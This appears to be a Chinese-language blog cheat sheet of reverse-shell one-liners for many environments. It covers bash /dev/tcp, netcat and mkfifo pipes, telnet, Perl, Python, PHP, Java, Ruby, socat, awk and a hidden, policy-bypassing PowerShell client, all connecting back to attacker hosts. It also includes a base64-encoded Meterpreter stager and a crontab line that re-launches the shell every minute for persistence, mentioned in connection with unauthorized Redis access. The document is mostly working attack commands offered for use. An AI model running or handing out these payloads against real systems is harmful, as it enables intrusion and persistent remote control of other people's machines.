各种环境下反弹shell的方法
bash
tcp
bash -i >& /dev/tcp/attackerip/1234 0>&1注意这个是由解析shell的bash完成，所以某些情况下不支持。我用zsh不能反弹。这个也是最常用的。
udp
1 | sh -i >& /dev/udp/attackerip/1234 0>&1 |
nc
支持-e选项
nc -e /bin/sh attackerip 1234这个方式最简单
不能使用-e选项时：
mknod backpipe p && nc attackerip 8080 0<backpipe | /bin/bash 1>backpipe
/bin/sh | nc attackerip 4444
rm -f /tmp/p; mknod /tmp/p p && nc attackerip 4444 0/tmp/安装的NC版本有问题时：
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc attackerip 1234 >/tmp/fTelnet(nc不可用或/dev/tcp不可用时)
mknod backpipe p && telnet attackerip 8080 0<backpipe | /bin/bash 1>backpipePerl
perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'不依赖于/bin/sh的shell： 这条语句比上面的更为简短，而且确实不需要依赖/bin/sh
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"attackerip:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'Python
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'另外的形式：
python -c "exec(\"import socket, subprocess;s = socket.socket();s.connect(('127.0.0.1',9000))\nwhile 1: proc = subprocess.Popen(s.recv(1024), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE);s.send(proc.stdout.read()+proc.stderr.read())\")"交互式shell：
1 | python -c 'import pty; pty.spawn("/bin/sh")' |
另外Metasploit版的代码：
msfvenom -f raw -p python/meterpreter/reverse_tcp LHOST=192.168.90.1 LPORT=1234
import base64; exec(base64.b64decode('aW1wb3J0IHNvY2tldCxzdHJ1Y3QKcz1zb2NrZXQuc29ja2V0KDIsMSkKcy5jb25uZWN0KCgnMTkyLjE2OC45MC4xJywxMjM0KSkKbD1zdHJ1Y3QudW5wYWNrKCc+SScscy5yZWN2KDQpKVswXQpkPXMucmVjdig0MDk2KQp3aGlsZSBsZW4oZCkhPWw6CglkKz1zLnJlY3YoNDA5NikKZXhlYyhkLHsncyc6c30pCg=='))php
php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'java
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()ruby
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'不依赖于/bin/sh的shell：
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("attackerip","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'如果目标系统运行Windows：
ruby -rsocket -e 'c=TCPSocket.new("attackerip","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'crontab定时任务
这也是在redis未授权访问的时候使用过的。
crontab -e编辑当前用户的任务，或者是写到计划任务目录，一般是/var/spool/cron/目录，ubuntu是/var/spool/cron/crontabs。文件名为用户名root等。下面命令含义是每一分钟执行一次反弹shell命令。具体crontab用法可以参考[Crontab定时任务配置][1]
* * * * * /bin/bash -i >& /dev/tcp/attackerip/1234 0>&1最后其实发现，虽然形式不同，但是其实都是基于/bin/bash和/bin/sh
socat
1 | socat file:`tty`,raw,echo=0 tcp-listen:4444 |
powershell
1 | powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("10.0.0.1",4242);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close() |
awk
1 | awk 'BEGIN {s = "/inet/tcp/0/10.0.0.1/4242"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null |
lua
1 | Linux only |